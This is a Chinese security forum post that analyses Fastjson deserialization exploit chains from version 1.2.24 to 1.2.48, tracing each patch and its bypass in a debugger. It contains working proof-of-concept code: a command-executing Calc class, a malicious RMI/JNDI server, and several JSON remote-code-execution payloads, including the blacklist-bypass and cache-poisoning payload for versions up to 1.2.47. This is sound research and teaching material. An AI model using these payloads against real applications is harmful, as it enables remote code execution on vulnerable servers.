-
-
[原创]Fastjson反序列化利用链分析
-
发表于: 2024-8-22 17:10 3918
-
实验环境
- jdk1.8
- windows10
pom依赖
1 2 3 4 5 | < dependency > < groupId >com.alibaba</ groupId > < artifactId >fastjson</ artifactId > < version >1.2.24</ version > </ dependency > |
先编写一个具有RCE功能的类,和一个工厂类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | public class Calc { static { try { Runtime.getRuntime().exec( "calc" ); } catch (IOException e) { e.printStackTrace(); } } } public class CalcFactory implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return new Calc(); } } |
再编写一个简单的RMI服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 | public class RMIServerReference { void register() throws Exception{ LocateRegistry.createRegistry( 1099 ); Reference reference = new Reference( "Calc" , "CalcFactory" , "" ); ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference); Naming.bind( "rmi://127.0.0.1:1099/Calc" , refObjWrapper); System.out.println( "RMI server running..." ); } public static void main(String[] args) throws Exception { new RMIServerReference().register(); } } |
编写漏洞验证代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 | public class FastjsonDeserializePoc { public static void main(String[] args) { //设置信任远程服务器加载的对象 System.setProperty( "com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); String payload = "{" + "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " + "\"autoCommit\":true" + "}" ; JSON.parse(payload); } } |
将服务端启动后,执行FastjsonDeserializePoc类,先看一下效果,弹出了计算器:
Fastjson版本
1.2.24 JdbcRowSetImpl利用链分析
将断点打至JSON.parse处:
然后一直步入到这行:
继续步入到DefaultJSONParser的这里:
单步执行到239行,获取一个key,
可以看到此时获取的key是序列化json字符串中的@type
。
继续单步至322行:
这里先获取了一个typeName,其值为"com.sun.rowset.JdbcRowSetImpl",并获取了一个该类型的Class对象。
继续单步至367行,
这里将获取一个反序列化器,步入getDeserializer方法,一直步入到ParserConfig类的362行:
这里有一个黑名单,如果要加载的类在黑名单内,则会抛出异常。
PS:1.2.24版本黑名单中只有Thread类。
继续单步至461行:
这里将根据clazz对象创建一个javabean的反序列化器并最终返回。
接下来返回到DefaultJSONParser的368行,用上一步创建的反序列化器执行反序列化操作:
这个函数进去之后,可能没办法继续步入了,不过可以直接将断点打至JavaBeanDeserializer的773行:
再步入parseField方法,单步至71行:
此时将反序列化JdbcRowSetImpl类中的autoCommit字段,是一个boolean类型的字段,反序列化出的value是true。
继续单步至83行,此处将要给JdbcRowSetImpl对象设置autoCommit属性:
步入该方法,单步至66行:
这里获取到一个Method,代表了JdbcRowSetImpl的setAutoCommit方法,然后单步至96行,通过反射调用该方法:
可见fastjson反序列化是通过调用bean的setter方法设置值的。
在setAutoCommit方法内打个断点执行到此处:
调用了connect方法,步入该方法,执行到326行:
这里调用了InitialContext的lookup方法,是JNDI的API,该方法会根据给定的名称查找一个对象的引用,如果传入RMI协议,则会加载一个远程对象,而此处传入的是根据getter方法获取的dataSourceName,也就是序列化字符串中的rmi://127.0.0.1:1099/Calc
,所以该行执行后就会请求到Calc类,从而触发RCE。
总结:JdbcRowSetImpl利用链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | connect:624, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) ... invoke:498, Method (java.lang.reflect) setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) ... parse:128, JSON (com.alibaba.fastjson) main:15, FastjsonDeserializePoc (com.milon.poc) |
1.2.25版本修复及绕过
将POM依赖改为
1 2 3 4 5 | < dependency > < groupId >com.alibaba</ groupId > < artifactId >fastjson</ artifactId > < version >1.2.25</ version > </ dependency > |
此时再执行POC,会抛出一个异常:
1 2 3 4 5 6 7 8 | Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128) at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:15) |
说明1.2.24版本的漏洞已修复,看看他的修复逻辑,根据异常堆栈,将断点打到ParserConfig的checkAutoType方法中844行:
发现黑名单中新增了很多条目,其中包括com.sun.
包下的所有类,而JdbcRowSetImpl正是该包下的,所以此处就被过滤了。
虽然被拉黑了,但也不是不可绕过,观察checkAutoType后面的代码,在861行调用了TypeUtils.loadClass方法:
进入该方法内部第1089行有这样一段逻辑:
如果className以L开头,并且以;结尾,那么将掐头去尾得到中间的字符串,继续递归调用loadClass方法,那么我们就可以利用这点,将Payload改成这样:
1 2 3 4 5 | String payload = "{" + "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," + "\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " + "\"autoCommit\":true" + "}" ; |
注意@type
后面的类型字符串前面加了L,后面加了;
再次debug:
此时className已经不以com.sun.开头,顺利绕过了黑名单,但是别高兴太早,
代码运行至881行的时候,还有一个autoTypeSupport的判断,这项配置在新版本中默认是关闭的,所以还会走到下面一行抛异常,所以我们需要在POC中显式的开启autoTypeSupport:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | public class FastjsonDeserializePoc { public static void main(String[] args) { //设置信任远程服务器加载的对象 System.setProperty( "com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); //开启autoTypeSupport ParserConfig.getGlobalInstance().setAutoTypeSupport( true ); String payload = "{" + "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," + "\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " + "\"autoCommit\":true" + "}" ; JSON.parse(payload); } } |
这样就顺利绕过了1.2.25版本的限制,不过在真实环境中autoTypeSupport通常不会显式开启,这项就很难绕过了。
1.2.42版本修复及绕过
更新版本:
1 2 3 4 5 | < dependency > < groupId >com.alibaba</ groupId > < artifactId >fastjson</ artifactId > < version >1.2.42</ version > </ dependency > |
再次执行POC抛异常:
1 2 3 4 5 6 7 8 9 | Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. Lcom.sun.rowset.JdbcRowSetImpl; at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:925) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304) at com.alibaba.fastjson.JSON.parse(JSON.java:152) at com.alibaba.fastjson.JSON.parse(JSON.java:162) at com.alibaba.fastjson.JSON.parse(JSON.java:131) at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:17) |
根据异常堆栈将断点打在ParserConfig的checkAutoType方法中925行:
此时可以看到,依然是被黑名单拦截了,并且该版本的黑名单全部处理为了hash值,我们的@type
属性经过掐头去尾得到的字符串com.sun.rowset.JdbcRowSetImpl
经过hash又落在了黑名单内。我们往前看checkAutoType是怎么处理的:
在897行有一个if判断,判断条件是一个复杂的表达式,我们不需要逐字拆解这个表达式,只需推断整个表达式的作用,在后面的if语句块内,是对className掐头去尾的代码,什么时候需要掐头去尾?根据前面的分析就是以L开头;结尾的时候,所以推断该表达式的作用是判断className是否是Lxxx;
的形式,可以证明:
将表达式整理为单行:(((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L
按ALT + F8打开表达式计算窗口,将表达式中的className替换为"L*;"
代入,结果为true:
再替换为"*L;"
,结果为false:
"L;*"
也为false,说明只有"Lxxx;"
形式的字符串才会得出true的结果,而我们的payload:Lcom.sun.rowset.JdbcRowSetImpl;
正符合该形式,所以会被掐头去尾,而后计算出的hash值落在了黑名单内。
知道了原理,那么我们可以使用惯用伎俩双写绕过,将payload改为LLcom.sun.rowset.JdbcRowSetImpl;;
即可绕过。
1.2.43版本修复及绕过
更新pom
1 2 3 4 5 | < dependency > < groupId >com.alibaba</ groupId > < artifactId >fastjson</ artifactId > < version >1.2.43</ version > </ dependency > |
再次执行poc,抛出异常:
1 2 3 4 5 6 7 8 9 | Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;; at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304) at com.alibaba.fastjson.JSON.parse(JSON.java:152) at com.alibaba.fastjson.JSON.parse(JSON.java:162) at com.alibaba.fastjson.JSON.parse(JSON.java:131) at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:17) |
根据异常堆栈将断点打在914行:
该版本使用了两次if判断,还是利用前面的表达式计算推断if判断条件,第一个表达式的作用是判断className是否以L开头;结尾,如果符合,则计算第二个表达式,判断是否以LL开头,如果符合则抛异常。
这样的话之前的双写绕过就不灵了,不过loadClass里除了对L;的处理,还有这么一个逻辑:
这个是判断className是否以[开头,如果是则去掉头,保留后面所有字符串,我们看看这里是否可以做文章,将payload改为:[com.sun.rowset.JdbcRowSetImpl
然后执行POC,发现报错:exepct '[', but ,, pos 42, json
,大意是json偏移42字符的位置期望一个[
,但实际是一个,
那我们就在第42个字符的地方插入一个 [,将payload改为:
1 2 3 4 5 | String payload = "{" + "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[," + "\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " + "\"autoCommit\":true" + "}" ; |
执行又报错:syntax error, expect {, actual string, pos 43
,提示第43个字符期望一个{
,那我们再满足它:
1 2 3 4 5 | String payload = "{" + "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," + "\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " + "\"autoCommit\":true" + "}" ; |
即可成功绕过。
1.2.44版本修复
在该版本中,如果判断className第一个字符是[,直接抛异常:
可以将表达式写为:(BASIC ^ className.charAt(0)) * PRIME == 0xaf64164c86024f1aL
代入表达式计算窗口:
"["返回true:
在 [ 前插入任意字符返回false:
说明该表达式的作用是判断第一个字符是否是 [ 。
1.2.45第三方框架RCE
至此,JdbcRowSetImpl很难再利用了,不过还是可以通过其它第三方框架触发RCE。在此之前,先了解一个fastjson的特性,经过前文分析,fastjson是通过调用bean对象的setter方法来给对象属性设值的,其实对象中有没有相关属性不重要,关键是有setXxx方法,那么当这个setXxx方法的参数是一个java.util.Properties
类型的对象时,fastjson会把序列化字符串中xxx字段对应的key->value全部放到这个Properties参数中,示例:
定义一个类,里面包含setXxx方法:
1 2 3 4 5 | public class MyFactory { public void setXxx(Properties properties) { System.out.println( "MyFactory setProperties..." ); } } |
构造payload:
1 2 3 4 5 6 7 | String payload = "{\n" + " \"@type\":\"MyFactory\",\n" + " \"xxx\":{\n" + " \"k1\":\"v1\",\n" + " \"k2\":\"v2\"\n" + " }\n" + "}" ; |
debug源码可见:
调用了setXxx方法,并且将xxx字段对应的所有key-value全部放入properties中。
如果某些第三方框架也有这样的特征就可以利用,比如mybatis:
1 2 3 4 5 6 7 8 9 10 | < dependency > < groupId >com.alibaba</ groupId > < artifactId >fastjson</ artifactId > < version >1.2.45</ version > </ dependency > < dependency > < groupId >org.mybatis</ groupId > < artifactId >mybatis</ artifactId > < version >3.5.6</ version > </ dependency > |
该版本的mybatis中有一个JndiDataSourceFactory
类,里面有一个setProperties方法,参数是Properties对象,并且同样调用了InitialContext的lookup方法:
所以,我们可以构造一个payload:
1 2 3 4 5 6 | String payload = "{\n" + " \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" + " \"properties\":{\n" + " \"data_source\":\"rmi://127.0.0.1:1099/Calc\"\n" + " }\n" + "}" ; |
将data_source写到properties字段中,这样就会在调用setProperties方法执行到55行时触发RCE。
1.2.46版本修复
该版本将JndiDataSourceFactory列入了黑名单。
1.2.47及以下版本通杀payload
此时JndiDataSourceFactory也不可利用,不过在checkAutoType方法里,还有一个点可做文章:
注意这里抛异常的条件,除了要在黑名单里,还要符合一个条件,从mappings中获得的Class对象为空,那我们想办法将这里获取的Class不为空就绕过了,进入该方法:
调用了mappings的get方法,mappings是一个ConcurrentHashMap类型的对象,查看哪里给mappings放置kv:
主要有两处,第一个是TypeUtils的addBaseClassMappings方法,第二个是TypeUtils的loadClass方法,第一个没有可输入的参数,主要看第二个。
第二个里面找到两处调用put方法的地方,前提条件是cache==true,cache是通过参数传入的,可以寻找哪里传入了cache=true,刚好这里有一个:
点到上图的方法里,再逐级向上寻找,最终来到了MiscCodec的335行:
注意:这里if判断条件是clazz==Class.class,这其实就是在暗示我们需要构造一个payload指定@type
为java.lang.Class
。
strVal的取值来自objVal:
而objVal的取值,来自这段代码,我做一些注释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | // 判断解析状态是否为重定向 if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { // 如果是重定向状态则将解析状态设为NONE parser.resolveStatus = DefaultJSONParser.NONE; parser.accept(JSONToken.COMMA); //期望下一个字符是逗号, // 判断下一个是否是字符串 if (lexer.token() == JSONToken.LITERAL_STRING) { // 如果是字符串,但其值不是val则抛异常 if (! "val" .equals(lexer.stringVal())) { throw new JSONException( "syntax error" ); } lexer.nextToken(); } else { throw new JSONException( "syntax error" ); } parser.accept(JSONToken.COLON); //期望下一个字符是冒号: objVal = parser.parse(); //解析下一个value,并赋值给objVal parser.accept(JSONToken.RBRACE); //期望下一个字符是右花括号 } } |
这段代码要求在一个json序列化字符串中,有一个key为val对象:{"val": "xxx"}
,所以我们先构造一个payload:
1 2 3 4 | { "@type" : "java.lang.Class" , "val" : "com.sun.rowset.JdbcRowSetImpl" } |
然后执行POC到这里可见,strVal和objVal都被赋值为payload中val。
继续跟进可见JdbcRowSetImpl已经被放置到mappings中,这样一阶段目标就达成了。
接下来,还是沿用以前的套路构造JdbcRowSetImpl利用链,所以我们将payload改为:
1 2 3 4 5 6 7 8 9 10 11 | { "1" : { "@type" : "java.lang.Class" , "val" : "com.sun.rowset.JdbcRowSetImpl" }, "2" : { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://127.0.0.1:1099/Calc" , "autoCommit" : "true" } } |
这个payload分两步,第一步先将JdbcRowSetImpl注入到mappings绕过黑名单,第二步再反序列化一个JdbcRowSetImpl对象触发RCE。
这个payload可以通杀<=1.2.47的所有版本,甚至不需要开启autoTypeSupport。
1.2.48版本修复
该版本将java.lang.Class
列入了黑名单,同时在调用TypeUtils.loadClass方法时,显式传入了cache=false,这样JdbcRowSetImpl将无法缓存。
参考
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
- [原创]C语言的文件与缓冲区 1898
- [原创]CC1利用链分析 2031
- [原创]URLDNS反序列化利用链 2712
- [原创]Fastjson反序列化利用链分析 3919